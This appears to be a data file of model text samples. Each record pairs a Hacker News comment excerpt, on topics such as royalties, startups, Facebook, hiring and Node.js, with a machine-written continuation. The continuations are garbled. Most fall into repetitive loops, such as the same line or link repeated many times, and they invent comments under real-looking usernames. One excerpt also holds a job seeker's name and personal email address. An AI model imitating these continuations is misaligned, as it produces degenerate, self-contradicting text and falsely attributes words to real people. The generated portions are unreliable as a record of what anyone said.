mobilized to\n"} +{"output_text": " song is the one who gets the royalties, not the\nrecord/CD/digital sales.\n\n~~~\n7Figures2Commas\nThat's true, but the point is that the value of the rights is not solely\ndetermined by the value of the rights themselves.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nIf you're a musician, you can't really sell your music. You can sell your\nname, but", "input_text": "new-wu-tang-album/371020/)\n\n[2] [http://www.royaltyexchange.com/](http://www.royaltyexchange.com/)\n\n[3] [http://rhmusicroyaltypartners.com/](http://rhmusicroyaltypartners.com/)\n\n~~~\nch\nI'm confused by your post. What makes these royalties valuable is that they\nare tied to the revenues generated by the sales of the same physical and\ndigital copies of the music that you point out are technically not rare. But\nwithout the false scarcity created by copyright and the associated\nconstellation of laws which surround it, these artifacts would not create\nrevenue and then wouldn't the royalties also be worthless?\n\n~~~\n7Figures2Commas\nFirst, while it's true that the rights I refer to are generally valued based\non the strength of the royalty streams, this does not mean that buyers and\nsellers value these rights in a strictly formulaic manner. As with any asset,\nthere are a variety of factors that might result in buyers paying a premium.\nAn investor with the ability to purchase rights associated with an Elvis\nPresley song, for instance, would probably pay substantially more for each\ndollar in royalties than they would for rights associated with a song by a\nless famous artist.\n\nSecond, and most importantly, not all royalties are tied to CD and digital\nmusic sales. These are mechanical royalties. There are also performance and\nsynchronization royalties, which can be significant. It's is entirely\npossible, for instance, for a song that generates little in the way of\nmechanical royalties to generate eye-popping performance or synchronization\nroyalties.\n\n~~~\ndobbsbob\nThe guy who wrote the"} +{"output_text": "\nI'm curious if this is a sign of a bubble.\n\n~~~\nmerqurio\nI don't think so, I think it's a sign of a lack of skills.\n\n~~~\nmathattack\nI agree. I think it's a sign of a lack of skills.\n\n------\njoeyspn\nI'm from Spain and I'm not surprised at all.\n\nI'm a software engineer and I'm not surprised at all.\n\n", "input_text": " look they are flying people here, but our people are unemployed. It\nseemed a bit crazy for me as well, since I was unsure, if my person and skills\njustified _that_ kind of effort.\n\nThe interview went fine and I think I was offered something around 30k, which\nwas below my current wage in another (non-capital) European city, so I had to\ndecline, although I loved Madrid and the team seemed really nice.\n\n------\nmooreds\nWonder if it has anything to do with low salaries?\n\nJust as an example,\n[https://news.ycombinator.com/item?id=12017439](https://news.ycombinator.com/item?id=12017439)\nhas a pretty low salary for the skills they want.\n\n~~~\nmerqurio\nI don't think so.. Most of my friends left Spain looking for better long term\nopportunities rather than money. Even if our economy (and politicians) sucks,\nquality of life is pretty high with those salaries.\n\nI think the problem is the polarisation in the population. Very well trained\npeople is leaving the country while non-skilled people remain.\n\nSkilled people do not trust the system therefore they leave as soon as they\ncan.\n\n~~~\nnostrebored\nQuality of life is high, but what if you have a long term goal of moving?\nMaking a lower wage even if proportionally you're taking home more money has a\nbreak even point, and 35k in Spain doesn't hit it.\n\n~~~\nmerqurio\nTotally agree, i wasn't defending low salaries at all, just sharing my insider\nexperience of the reasons why people is leaving Spain.\n\n------\nmathattack"} +{"output_text": "ilwelch\nI think you're confusing the effect of media with the cause of media.\n\n~~~\nmalkia\nI'm not. I'm saying that the society we live in is violent, and that's why\nmedia reflects it.\n\n------\njrockway\nI think the problem is that people are not violent.\n\n~~~\nphilwelch\nI think the problem is that people are violent.\n\n~~~\njrockway\n", "input_text": " blinked: \n\n------\ncharonn0\nI find it hard to believe that video games (or movies, songs, novels, etc,)\neven extremely violent ones, could compel someone to murder unless they were\nalready seriously mentally ill. Such an ill person, deprived of violent media,\nwould not miraculously be cured nor would they pose any less a risk to those\naround them.\n\n------\njrockway\nWhat about violent books, conversations, thoughts, and lectures at school?\n(Have you ever read a history book? They're twice as violent as Grand Theft\nAuto.)\n\n~~~\nrhdoenges\nViolence in books is textual, so it's going to be far less vivid for the\nreader than a video game where you actually cause the violence. Additionally,\nviolent books/conversations/thoughts/lectures often focus on the _negative_\naspects of violence rather than glorifying it the way movies and video games\ndo.\n\n~~~\nr0s\nSome would disagree: \n\nIt's a familiar horse to beat, this NEW media is special, and different and\nscary.\n\nIt happened with jazz, rock&roll, comic books, movies, novels, heavy metal,\nmany scapegoat has met the whip of the righteously ignorant. It's always been\na meaningless argument, totally void of scientific fact.\n\nWere there wars before fiction? Was there crime before video games?\n\n------\nmalkia\nGames, cartoons, books reflect the society we live in, hence they would\nportray violence.\n\n~~~\nph"} +{"output_text": " like Google did.\n\n~~~\nvillageidiot\nI'm not sure what you mean by \"ruthless\". I'm not sure what you mean by\n\"standardizing programming\". I'm not sure what you mean by \"trying to build\nsomething people want\".\n\nI'm not sure what you mean by \"another decade\".\n\nI'm not sure what you mean by \"trying to build something people want\".\n\nI'm not sure what you mean", "input_text": " question I can at least answer with certainty: no. It takes 4-5\nyears for a startup to achieve liquidity. No YC-funded startup is that old;\nthe median is only about 18 months old. Our profitability now is therefore\nnoise, which means no change in the applicants would have affected it\nsignificantly.\n\n~~~\nvillageidiot\nI appreciate you treating the question in the good faith in which it was\nintended. While the topic may be provocative, I felt it was relevant, based on\nmy observations of YC. However, because I can only provide anecdote as\nevidence of my case, I asked the question to discover whether my observations\nabout YC are shared or whether I am suffering from a delusion. Textually this\nmay seem like trollish behavior but some of the responses to the question seem\nto belie this suggestion.\n\nAs for your point about Google, some ideas are so powerful that they fall\noutside the conventional expectations of business practice. The fact that\nGoogle's founders have, until lately anyway, been unassertive in the manner of\nMicrosoft, does not indicate that Bill Gates' approach \"is not worth much\".\nAbsent some ground-shaking idea like Google's, I would argue the assertive\napproach of Microsoft is the norm for a successful company and a key\ningredient missing in the YC environment.\n\n~~~\nmattmaroon\nHow \"assertive\" was Microsoft at first? It seems like they spent their first\ndecade toiling along at standardizing programming across the many different\nOEMs and computer types of the day. It was probably another decade until they\ndid anything that anyone would consider \"ruthless\".\n\nThey started off trying to build something people want (Basic for the Altair)\njust"} +{"output_text": "graham.com/growth.html)\n\n[http://www.paulgraham.com/growth.html](http://www.paulgraham.com/growth.html)\n\n[http://www.paulgraham.com/growth.html](http://www.paulgraham.com/growth.html)\n\n[http://www.paulgraham.com/growth.html](http://www.paulgra", "input_text": " most cases the choice is not\nsmall-business vs. startup, it's corporate job vs. startup.\n\nThe \"lifestyle\" self-running company that spits out a comfortable amount of\ncash and is easier to handle than a corporate job is somewhere between a myth\nand a unicorn. It's _very_ rare. If you want to stay on the legal side of\nthings it takes a great amount of connections, experience, time and effort to\nbuild such a company. You might as well invest that time in a \"proper\" startup\nand get some funding. Chances of success will be similar in the end.\n\n~~~\nWhitneyLand\nI don't notice that many people making 15/25k a month that think their jobs\nare cushy. There are usually high expectations at that level.\n\n------\nvsloo\nThere's a disconnect between founders who want to build a startup and founders\nwho want to build a business. They think the two are the same but they're\nreally not and this study clearly shows that. There are situations where\nstartups turn into businesses but I'd rather build a profitable business for\nmyself from the start and our team than to build a startup purely focused on\n\"growth\".\n\n~~~\nmonkmartinez\nI am very disconnected from the \"startup\" world, and something in your comment\nhas me asking: What is the difference between a startup and a business? To me,\nthey ought to be one in the same...\n\n~~~\nGFischer\nPaul Graham (and Y Combinator I guess) believe that the difference is the\ngoals.\n\n _A startup is a company designed to grow fast._ PG, 2012\n\n[http://www.paulgraham.com/growth.html](http://www.paul"} +{"output_text": " to the company, rather than a genuine attempt to achieve\nISO standards).\n\n\\- The company seems to have a very poor understanding of the GDPR, and\nappears to be in violation of it.\n\n\\- The company seems to have a very poor understanding of the EU's General\nData Protection Regulation (GDPR).\n\n\\- The company seems to have a very poor understanding of the EU's General\nData Protection Regulation (GDPR).\n\n\\- The company seems to", "input_text": " (years ago) and still found that page to be a\nbit dense. I'd look elsewhere for a primer.\n\n is a bit too simplified but\nmakes it easy to understand what's happening. This\n[http://www.databasejournal.com/sqletc/article.php/1428511/Da...](http://www.databasejournal.com/sqletc/article.php/1428511/Database-\nNormalization.htm) appears to be a good overview using a realistic worked\nexample db.\n\n \nIt's complicated: Facebook's terrible 2018 - sahin-boydas\nhttps://www.theguardian.com/technology/ng-interactive/2018/dec/24/facebook-2018-timeline-year-in-review-privacy-scandals\n======\nethiclub\nDoes anyone have any good devil's advocate information on Facebook?\n\n\\- The company does not seem to have an appropriate ethics board (for the size\nof company). There is some mention of an 'ethics AI board' but no real\ngovernance over Ethical conduct and compliance. If there are internal review\nboards\n([https://www.theguardian.com/technology/2016/jun/17/facebook-...](https://www.theguardian.com/technology/2016/jun/17/facebook-\nethics-but-is-it-ethical)), then it appears that they are thoroughly\ncompromised, and not providing a level of accountability or serious thought\nthat anyone will take seriously.\n\n\\- There seems to be no intention or effort in achieving ISO standards (apart\nfrom a single ISO:27001 certification for FB Workplace, which was arguably to\nprovide a 'feature'"} +{"output_text": "cik\nI'm not sure what you're trying to say.\n\nI'm not saying that security is a cost center. I'm saying that the C-Suite\nexecutives I talk to see security as a cost center.\n\nI'm not sure what you're trying to say.\n\n------\njedberg\nI think the biggest problem is that the industry is so fragmented.\n\nThere are so many different types of security products, and so many different\n", "input_text": "\n1\\. There's an adversarial relationship that drives up demand for products.\n\n2\\. It's stupidly complex, so there's a lot of potential value add in anything\nthat can simplify the problem.\n\nThe main thing going against the cyber security industry is that while it's\nsexy to subject matter experts, it's not really sexy to boardrooms, Silicon\nValley tech startups included, many who see it as a cost center and something\nthat slows down product development and thus do the minimum necessary to\n_look_ secure. Speaking from anecdotal evidence.\n\nIn the context of big companies, Krebs on Security had a great article in the\nwake of the Equifax breach which pointed out that there are very few CISO's\n(or equivalent) who report to the CTO or CEO. For the most part they report to\nthe CFO, to the head of IT, or to the head of legal.\n\n~~~\ncik\nConcur, also from inside the industry. The reality is that almost every\nC-Suite executive I talk to sees security as a cost center, and rolls it (and\nIT even) into the CFO, or the COO.\n\nWe focus on helping an organization make security an enabler. Yet even those\ncustomers who get it - really only care when there's a breach, or if someone's\nbacon has seriously been saved.\n\nSuffice it to say, I find the industry troubling, to say the least.\n\n~~~\nstaticassertion\nLots of things are cost centers. SRE is a cost center. OPS is a cost center.\nCompanies still pay a fortune for services that optimize these areas.\n\nHell, why do you think Splunk has 1 billion dollars to burn?\n\n~~~\n"} +{"output_text": "'m not sure what the point of this\narticle is.\n\n[1] [https://www.drupal.org/conduct](https://www.drupal.org/conduct)\n\n~~~\nmgbmtl\nI don't think it's a matter of not mentioning it, but rather that it's not\nmentioned in the context of the debate.\n\nI don't think it's a matter of not mentioning it, but rather that it's not\nmentioned in", "input_text": " was ousted for his \u201cbelief system\u201d:\n[https://techcrunch.com/2014/04/03/brendan-eich-resigns-as-\nmo...](https://techcrunch.com/2014/04/03/brendan-eich-resigns-as-mozilla-ceo-\nfollowing-criticism-of-his-support-for-prop-8/)\n\n------\nWillyOnWheels\n[http://www2.rdrop.com/users/wyvern//data/](http://www2.rdrop.com/users/wyvern//data/)\n\n------\nmgbmtl\nThe Techcrunch article has a broken link to Dries' blog post:\n[http://buytaert.net/living-our-values](http://buytaert.net/living-our-values)\n\nThe Techcrunch article focuses too much on BDSM in general. If I understand\ncorrectly, the problem here is on the specific aspect of viewing women as\ninferior and the fact that this contributor wields significant influence in a\ncommunity where (like many free software communities) gender is a problem.\n\nThis isn't very different than being anti-gay and being the lead of a big free\nsoftware project. Some people can pretend that their personal opinions have no\nimpact on their work, but that's very rarely the case. If there was more\ndiversity, this would probably be less of an issue.\n\n~~~\ntnones\nIt is both notable and unsurprising that the Drupal code of conduct [1] makes\nzero mention of any of the topics in this debate. Nothing about sexuality,\nnothing about feminism, or equality,... Yet every discussion about this\nimmediately turns to gender politics. I"} +{"output_text": "\u201d?\n\n~~~\nkick\nIt's not. It's a lot more work.\n\n~~~\nhtfu\nI don't see how it's more work.\n\n~~~\nkick\nIt's more work to type a URL.\n\n~~~\nhtfu\nI don't see how it's more work to type a URL.\n\n~~~\nkick\nIt's more work to type a URL.\n\n~~~\nhtfu\nI don't see how it's", "input_text": " emoji domains have existed since 2001\n[https://en.wikipedia.org/wiki/Emoji_domain](https://en.wikipedia.org/wiki/Emoji_domain)\n\n~~~\nWorldMaker\nAs with so many things domain name related, what is or is not valid varies by\nand is determined by registrar. The biggest registrars (.com,.net,.org as\nthree examples) generally have a lot of restrictions on IDNs, whereas many\ncountries can afford to allow just about the full gamut of Unicode if they\nwish.\n\n------\nnetsharc\nHmm, I wonder if that's going to be the next battle field for URLs: Facebook\nwill try to register its logo as an emoji, and you'd just need to go to\n[http://[f]](http://\\[f\\]) to open their site.\n\nThere already is an emoji for apple (the fruit, not the company). Oh the\nhorrors. I should start an emoji NIC!\n\n~~~\nmanifestsilence\nThese would be less than convenient to type, but perhaps as we go more and\nmore towards a non-typing web where a walled-garden start page and predefined\nlinks lead to the most popular sites with a click, these URLs will become\nfashionable. I think if so, this will herald the impending death of the human-\nread and typed URL in favor of start page links and search results.\n\n~~~\nkick\nThere are more mobile users than there are desktop users, and for them it's\njust the same to type.\n\n~~~\nhtfu\nHow is switch to emoji input -> press search box -> start typing apple ->\npress apple symbol and so on \u201cjust the same"} +{"output_text": "with-apple-to-develop-military-software-idUSKCN1QB0Z2)\n\n~~~\nbdcravens\nI'm not sure why this is getting downvoted. It's not a secret that Apple has\nbeen working with the DoD.\n\n~~~\nbdcravens\nI'm not sure why this is getting downvoted. It's not a secret that Apple has\nbeen working with the DoD.\n\n------", "input_text": "the-CCP thing. I\ndon\u2019t think I\u2019ll be on iOS much longer, especially now that Signal is fully\ncross-platform and runs on iPad. I\u2019ve already deprecated iMessage amongst\neveryone I talk to in anticipation of the switch. Hell, I\u2019ve even been on\nbroadcast radio talking about how iCloud will leak your private data.\n\nI think it\u2019s a mistake to view the attitude of Apple toward military\ncontracting (not just sales) as the same as that of Microsoft or Amazon. If\nwhen Apple employs hundreds of people who are full-time embedded in the\nmilitary to help them use their products, maybe that situation will change.\n\nTo your point, I have moved off of GitHub, and have encouraged others to do\nthe same:\n\n[https://sneak.berlin/20200307/the-case-against-microsoft-\nand...](https://sneak.berlin/20200307/the-case-against-microsoft-and-github/)\n\nWe can all take small steps to improve our choices each day. Over time and\nacross people, these things add up.\n\nThe worst thing we could do is assume that every choice is the same and\ncarries the same negative consequences and act uncritically. In that vein, I\nappreciate your pushback: critical thinking about our choices should be the\none constant. There is always a place we can improve.\n\n~~~\nbdcravens\nApple has engaged in active development, not just passive sales\n\n[https://www.reuters.com/article/us-usa-defense-\ntech/pentagon...](https://www.reuters.com/article/us-usa-defense-\ntech/pentagon-teams-"} +{"output_text": " the record, I think it's a good thing.\n\n~~~\nomouse\nI don't think it's a good thing. Sony is a dick.\n\n~~~\nswaits\nI don't think it's a good thing either.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\njevinskie\nIt's a DMCA notice.\n\n~~~\njoshu\nI know that.\n", "input_text": "ations vs. the attack on fair-use that HNers have come to expect when this\n4-letter word is invoked.\n\n------\njevinskie\nDoes anyone know what the tool was?[0] jimmikaelkael is a well known PS2 dev.\nI had checked out the DMCAed repo when he first put it up about a week ago but\nI can't recall it was.\n\n[0]: \n\n~~~\nmcbarry\nIt's a driver to provide filesystem access to PS2 memory cards, using the USB\nMemory Card Adaptor designed for the PS3.\n\nThere's another tool using this to make bootable memory cards for bypassing\nregion checks.\n\n------\nsenthilnayagam\nThe amount Sony spends on Lawyers it could have spent on real security(so many\nserver/network issues in last 2 months) and some path breaking products.\n\nAll my Sony money now goes to Apple.\n\n------\ntzury\nif you want to read it in more elegant format, there you go:\n[https://github.com/github/dmca/blob/master/2011-06-21-sony.m...](https://github.com/github/dmca/blob/master/2011-06-21-sony.markdown)\n\n------\nkeyle\nThe title doesn't quite make sense? \"Sony officially 50%...\"?\n\n~~~\nspicyj\n\"Sony [is now] officially 50% \u2026\" \u2013 The \"is now\" is implied.\n\n------\nomouse\nSony are dicks, this is news?\n\n~~~\nswaits\nFor"} +{"output_text": " to say\nthis is a killer feature.\n\n------\njoshu\nI'd pay for this.\n\n------\njoshu\nI'd pay for this.\n\n------\njoshu\nI'd pay for this.\n\n------\njoshu\nI'd pay for this.\n\n------\njoshu\nI'd pay for this.\n\n------\njoshu\nI'd pay for this.\n\n------\njoshu", "input_text": " Just because I am price sensitive doesn't mean others are (don't price\nit low on my comment). You also may have some lockin with this since you will\nhave their files so keep that in mind when pricing.\n\n------\nfirefoxman1\nI made something like this for my friend when I wanted to try out the\ndrag/drop API. One thing I also did was give him a little bookmarklet with his\nhashed password that he could drag into a \"login\" box so he could quickly log\nin without typing his username and password every time. You may want to try\nsomething like that for quicker logins.\n\nIt looked something like...\n\nhisusername:19fij12dio7giw3\n\n------\ndevs1010\nI generally am active about keeping my inbox clean so anything in there is\nimportant, if its not then I delete it as I prune it everytime I check so not\nsure this would really be all that useful but for some people it may be, if\nthey're too lazy to categorize / archive emails though I doubt they are going\nto want to use an extra app just for this.\n\n------\naaronbrethorst\nit doesn't seem to work for me in Safari 5.1.2. Does it require Flash? I very\nintentionally do not have Flash installed.\n\n~~~\ncode_duck\nI don't see any Flash. It seems to be implemented in javascript.\n\n------\ndustingetz\nkiller feature for me:\n\nscreen capture to clipboard, paste to hopper, and its already uploaded and\nshareable. i need this like 4 times a week. i would push to buy it at work if\nit was priced right and based on our existing google apps, so safe"} +{"output_text": " get a bonus, early adopters get a party).\n\n~~~\njoshu\nI think you're right.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nThe only thing that matters is that you have a product that people want.\n\nIf you have a product that people want, you can raise money.\n\nIf you have a product that people want, you can raise money.\n\nIf you have a product", "input_text": "12/06/jobs-act-title-\niii-crowdfunding-moves-closer-to-reality/))\n\nRegulation Crowdfunding will allow \"funding portals\"\n(kickstarter/indiegogo/etc) to facilitate equity based crowdfunding, with a\nlimit of up to $1,000,000.\n\nWe'll pretend that Oculus at $1mm KS has the same destiny as Oculus as a\n$2.4mm KS. [I think in an equity world, people would be less inclined to\ninvest after that wall is hit.]\n\nWe'll ALSO pretend (here's the bigger stretch) that the subsequent rounds of\nfinancing at $16mm and $75mm somehow magically didn't affect the equity of the\nseed round. [Hahaha, hilarious.]\n\nIf the KS had stated that the $1mm was to own 25% of the company (I bet\nhe'd've done more, but we'll go low) that means that each $300 backing is\nequivalent to %0.0003 of $1mm.\n\n%0.0003 of 25% equity is %.000075 of Oculus.\n\n%.000075 of 2 billion dollars is $150,000.\n\n[I think. %50 chance I mucked this math up at some point.]\n\n~~~\nbernardlunn\nI was only suggesting that the people who pony up the early cash get some\ntoken equity. Lets say give up 5% to enthusiastic early adopters who share\nyour passion rather than 25% to angels. If say the $300 netted you $3,000\nbonus on exit, you can have a party and celebrate the founder's good fortune.\nIts a win/win (founders"} +{"output_text": " of experience in a particular field\nwould be able to choose to skip the work sample and just do the interview\ngauntlet.\n\n~~~\njoshuamorton\nI think it's a bit of a chicken and egg problem. Companies don't want to\nspend time on work sample tests because they don't want to spend time on\ninterviews.\n\nI think the solution is to have companies do work sample tests, and then\nallow candidates to choose which one", "input_text": "people who do WSTs as a way to qualify applicants, and there are people who\njust aren't serious about hiring.\n\nIt's easy to write a WST for simple things, like \"can you literally write a\ncomputer program that does this trivial straightforward thing\". It's hard to\nwrite WSTs for things that feel fluffy, like \"can you manage a team\". But\nhere's the thing: as long as that fluffy thing feels fluffy, what that really\nmeans is you haven't bothered to figure out what success looks like for that\nrole, and you couldn't even evaluate that person let alone hire for them.\n\nThere's a company in Indy called Woven\n([http://www.woventeams.com/](http://www.woventeams.com/)) that'll do it for\nyou, too. I have no relationship with them other than that they're nice people\nwho are trying to unfuck hiring.\n\n~~~\nthrowawaymath\nIt would be great if you could convince large tech companies to use work\nsample tests, but I just don't see that happening. So in that sense maybe work\nsample tests can be a differentiator attracting candidates that don't want to\nspend a few weeks doing Leetcode prep every time they look for a new job.\n\nOn the other hand work sample tests also have drawbacks. I don't know if\nthey're actually that much better than regular interviewing methods; I think\nthey just contribute an orthogonal signal instead of a stronger one. I don't\nfeel I can cheerlead them as much as you do in your first paragraph.\n\nI think in an ideal world companies would allow candidates the option of\nchoosing either their work sample or their resume-blind, standardized\ninterview gauntlet. People with a lot"} +{"output_text": "ensing\"\n\n------\njoshu\nI'm not sure I understand the point of this article.\n\nThe article is about a company that was founded by a bunch of people who\ndidn't know what they were doing.\n\nThe article is not about a company that was founded by a bunch of people who\nknew what they were doing.\n\n~~~\njoshu\nI guess I should have been more clear.\n\nThe article is about a company that", "input_text": " or\njust being hyberbolic?\n\n~~~\nuntog\nReasonably sure it is exaggeration for comic effect. We are not in a court\nroom.\n\n~~~\nmcguire\nBam! mdonahoe is overruled!\n\n------\ncoldcode\nBeing good at starting a company and raising funds is no guarantee of being\nany good at running a company. Add to that growth from 15 to 1600 in two years\nis also likely to be a massive failure. Add to that insane pressure from\ninvestors to do the impossible (that you promised). I've seen a lot of people\ncrumble at a much smaller size.\n\n------\nchillingeffect\nCome on now, NYT, there is virtually no evidence of corruption at startups\nbeing any worse than any other business or human endeavor. NYT, you're just\nspreading FUD because people look to you for guidance and you need to respond\nto their fear.\n\nYes, these guys (Zenefits) were, in one area, dishonest and cheated. But it's\nnot like Cigna, PacTel, BoA, Citizens and zillion other companies are paragons\nof virtue. Nevermind Volkswagen.\n\n[1]\n[https://en.wikipedia.org/wiki/Accounting_scandals](https://en.wikipedia.org/wiki/Accounting_scandals)\n\n[2]\n[https://en.wikipedia.org/wiki/List_of_corporate_collapses_an...](https://en.wikipedia.org/wiki/List_of_corporate_collapses_and_scandals)\n\n------\njmckib\nAlternative title: \"Zenefits Scandal Highlights Perils of Excessive\nOccupational Lic"} +{"output_text": " I've been working as a Security Engineer for a large\ntelecommunications company. I've been working with Linux and Windows for the\nlast 10 years, and have been working with Cisco and Arista for the last 3\nyears. I've been working with Kali for the last year. I've been working with\nDocker for the last year. I've been working with Metasploit for the last year.\nI've been working with Namespaces for the last year. I", "input_text": "balance, providing part-time consulting to several companies. I'm ready to\nswitch back to working on a single thing, preferably still part time. I\nprioritize good people and flexibility over most other things.\n\n------\nbussierem\nLocation: Midwest USA\n\nRemote: Yes\n\nWilling to relocate: Not at this time, unfortunately\n\nTechnologies: Python, Elm, Nim, C#, Elixir, and JS; I can learn anything I\nneed to for a job.\n\nR\u00e9sum\u00e9/CV: [https://me.3digit.dev](https://me.3digit.dev)\n\nEmail: In my resume ^^^\n\nI am an experienced dev, and have worked across the entire stack, including\nQA/testing. I have a love of quality code and good communication, having\nexperienced the bad end of both. I would be looking to make changes for the\nbetter wherever I go, preferably to Senior Engineer or higher. Looking to stay\nin code as much as possible, but I would be willing to consider leadership\ngiven the right situation.\n\n------\nsnowedin\nLocation: Seattle, WA\n\nRemote: Yes\n\nWilling to relocate: No\n\nTechnologies: Linux, Windows, Python, Cisco, Arista, Namespaces, Docker, Kali,\nMetasploit\n\nR\u00e9sum\u00e9/CV: [https://www.linkedin.com/in/ross-\nsnider-b927b846/](https://www.linkedin.com/in/ross-snider-b927b846/)\n\nEmail: ross.snider@gmail.com\n\n9 years industry experience in Security, much more if you count non-employed\nsecurity work.\n\nMost recently"} +{"output_text": " the luxury of spending more money than a t2.medium instance on\naws.\n\n~~~\njoshu\nI think the point is that the cost of the hardware is not the most expensive\nresource.\n\n~~~\nagnivade\nI agree. But I think the point is that the cost of the hardware is not the\nmost expensive resource.\n\n------\njoshu\nI think the point is that the cost of the hardware is not the most expensive\n", "input_text": " cloud and your metric is\n$/user/year and you have many users then saving some compute resources for\neach user gets attractive and you don't want to just throw another VM at it.\n\nIs the conclusion true? Garbage collection gives big productivity gains. Other\nlanguages have GC. It's not nice to see your Python code die after a few days\nbecause you messed up the type passed to a function. Other languages fix that\nat compile time. Multicore is now. Other languages are built with better\nmulticore awareness.\n\n------\n__s\n> without getting stuck in the weeds of the small things such as whether you\n> should use a vector or an array\n\nYes, instead get into the weeds of tuple vs list\n\nNot included in the graph of time-to-solve-problem static languages:\nstatically typed languages with type inference\n\n~~~\nscbrg\nGiven that they have exactly the same interface, that choice is really easy.\nYou go with one until it turns out to be insufficient, and then you switch to\nthe other and _not a single line of code_ has to change, except at the point\nwhere you create the thing.\n\nIncidentally, the same is true in many situations in Python, and that is (IMO)\none of its strengths.\n\n------\nagnivade\n> However, this is no longer true, as silicon is now cheap. Like really cheap.\n> Run time is no longer your most expensive resource.\n\nOur client won't spend more money than a t2.medium instance on aws. Nothing we\ncan do about it. In that case, run time does become an expensive resource.\n\nBut I get the point that OP is trying to make. Just wanted to mention that not\nall of us have"} +{"output_text": " their products or services.\n\n~~~\njoshstrange\nI think you're right, I'm not sure what the right answer is. I think the\nproblem is that the \"right\" answer is \"it depends\" and that's not really\nanswerable.\n\nI think the answer is \"it depends\" because the answer is going to be different\nfor every business. I think the answer is \"it depends\" because the answer is\ngoing to be different for every", "input_text": " and really\nfocussed on getting those page owners to buy ads to maintain their previous\nview numbers.\n\nMaybe page owners are paying for now, potentially reliant on traffic, but I\ndon't think they're going to be happy paying forever when free alternatives\nwill crop up again. The traffic quality is reported as being low (many mis-\nclicks on mobile). If the profit isn't there then business won't be able to\nafford to pay in the long run.\n\nMaybe I don't want to see posts for 'Jim's oil change' every three seconds,\nbut good content is getting cut away also making FB far more boring.\n\n~~~\nSilhouette\nI don't know if I'd call it a bait and switch, because you never really knew\nexactly what you were getting with Facebook anyway. The kind of auction system\nthey use is practically designed to avoid transparency (and they're obviously\nnot alone in that among on-line ad platforms).\n\nIt always comes down to the numbers, though. If we're advertising a small\nbusiness on Facebook, and it generates more in revenues from sales than it\ncosts in customer acquisition, it's still a net win. Is it the best place we\ncould have invested those advertising funds? Maybe, maybe not, but it\ncertainly becomes less attractive as their cost-per-whatever figures go up,\nand no matter how much they fudge the presentation, we still know how much we\npaid overall and how much revenue we got in return.\n\nIn any case, every time this comes up there are plenty of posters who have\nsmall businesses and make the above argument, but generate revenues in the\n100-200% bracket, i.e., they're at least breaking even and maybe doubling\ntheir investment, but no-one's buying"} +{"output_text": " all my equipment.\n\n~~~\nfreediver\nI am glad to hear that. I am not sure if I would be able to handle it.\n\n------\nmrottenkolber\n:-)\n\n------\nmrottenkolber\n:-)\n\n------\nmrottenkolber\n:-)\n\n------\nmrottenkolber\n:-)\n\n------\nmrottenkolber\n:-)\n\n------", "input_text": "gizmo686\n\"Treason against the United States, shall consist only in levying war against\nthem, or in adhering to their enemies, giving them aid and comfort. No person\nshall be convicted of treason unless on the testimony of two witnesses to the\nsame overt act, or on confession in open court.\"\n\n~~~\nmzw_mzw\n> or in adhering to their enemies, giving them aid and comfort.\n\nYep, there we go. Thanks!\n\n------\nmrottenkolber\n:-(\n\n \nDikuMUD 3 Is Released - bovermyer\nhttps://github.com/Seifert69/DikuMUD3\n======\nfreediver\nI am thankful to Diku and it's derivatives for many important lessons in life.\nThe situation when a mob kills you, takes your exp and all your equipment and\nyou are faced with dire reality of starting all over again from nothing - is\nthe one that we are facing in life ever so often. MUDs have taught me to\npersevere, focus on what is important and keep going. I am thankful for every\nfriend I met via MUD and every friend I will make. As a matter of a fact I am\nin the middle of MUD renaissance right now - rebuilding the MUD I created in\n1995 and playing it with a handful of buddies - all of us now in our forties\nand we are having the time of our lives chasing down mobs and magic items (and\nof course playing only after the kids go to sleep). On top of that I get to\ncode in C again. Life is good. Wish the best of luck to DikuMUD 3.\n\n~~~\nYZF\nLuckily I've yet to face mob kills me and takes"} +{"output_text": "I'm not a JS developer, but I'm a web developer, and I'm not a web\ndeveloper, but I'm a web developer, and I'm not a web developer, but I'm a\nweb developer, and I'm not a web developer, but I'm a web developer, and I'm\nnot a web developer, but I'm a web developer, and I'm not a web developer,\nbut I'm a web developer, and I'm not a web developer", "input_text": " the appropriate error. You shouldn't be kneck-deep in callbacks.\n\n------\nspriggan3\nThe biggest problem is dealing with callbacks (and yes even promises use\ncallbacks, and generators need to be wrapped in a cor-routine framework in\norder to work as cor-routines ).\n\nI want to write a quick script doing some busy work, I now have to think\nabout synchronicity even though the script does not need to be non blocking.\nOf course in these circumstances, I want to move back to Ruby or Python, which\nactually let me code the thing I want to code without forcing callbacks on me.\n\nSo when you have to do 20 i/o operations in sequence, using nodejs becomes\nreally tedious.\n\n------\njtchang\nNode is one of those platforms that makes me shudder every time I go looking\nfor solid best practices. It seems to change every 3 months. It's scary (and\ncool) how fast things are changing.\n\n------\npeterashford\nI think the basic problem is that JS is not the right solution for every task\nbut for the web, it's often the only tool available.\n\nI had similar experiences to the OP. I had lots of code written in JS that I\nwas happy with to some extent, but all of it would have been easier / cleaner\n/ more maintainable in a less crap language.\n\n------\narisAlexis\nUsing babel without async await is a mistake IMO should solve almost all your\nproblems and errors. Also the main argument for using js in the back end is\nthat you have the same team working in the front-end too and in any case in\nthe same langage.\n\n------\nthrowanem\ntl;dr: \""} +{"output_text": ".\n\n~~~\njasonkester\n_Serious question: what's the problem with r\u00e9sum\u00e9 gaps?_\n\nI think it's a problem when you're applying for a job that requires a certain\nlevel of experience.\n\nI've been working for the last 5 years, and I've had a few gaps in my\nresume. I've had a few gaps in my resume because I've been working on\nsomething else. I've had a few gaps in", "input_text": " move and be able to take my time choosing a new position. Thanks!\n======\nenrmarc\nSerious question: what's the problem with r\u00e9sum\u00e9 gaps? Is it a big deal in\nUSA? I'd say that in Europe it's not such a big deal. Nobody is going to ask\nyou why you have, for instance, a 4 month gap in your r\u00e9sum\u00e9 if you have been\nworking 3 or 4 years in a row. Almost everyone would guess that you took that\ntime off, and that's not a bad thing precisely. Perhaps you took that time to\nlearn new skills, to read a ton of books, to travel around the world, to be\nwith your kids,... a lot of activities that do more good than harm. Most of us\nare going to work until we are 60 or so, so what's the big deal with having a\nfew months every 5 years or so in our r\u00e9sum\u00e9? They give you a medal if you\nfinish your career without gaps?\n\nImagine this scenario: developer A has been working in a time span of 10 years\nwithout r\u00e9sum\u00e9 gaps. Developer B has been working for 9 years and has been\ntaking gaps of 4 months every 3 years. Do you really think there is going to\nbe a big difference between the two developers in terms of skills set? 10, 9,\n8 years, it doesn't 